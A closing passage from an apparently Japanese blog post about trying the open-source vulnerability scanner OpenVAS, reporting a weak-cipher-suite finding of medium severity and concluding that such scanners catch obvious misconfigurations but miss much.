このホストの場合、弱いサイファースイートを受け付けるようになっているのが最も重要度の高い指摘事項だった。 Severity (重要度) は 10 段階中の 5 なので真ん中くらい。

f:id:momijiame:20170809003450p:plain

こんな感じで OpenVAS はホストの設定にどんな問題があるかを自動で調べてくれる。

まとめ

今回はオープンソースの脆弱性スキャナである OpenVAS を使ってみた。 当たり前だけど、脆弱性スキャナはこれさえ使っていれば OK というような代物ではない。 あらかじめ決められたルールで調べているに過ぎないので見つけられないものは数多くある。 しかし、あきらかに問題のある設定を自動で見つけ出してくれるというのは心強いんじゃないだろうか。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ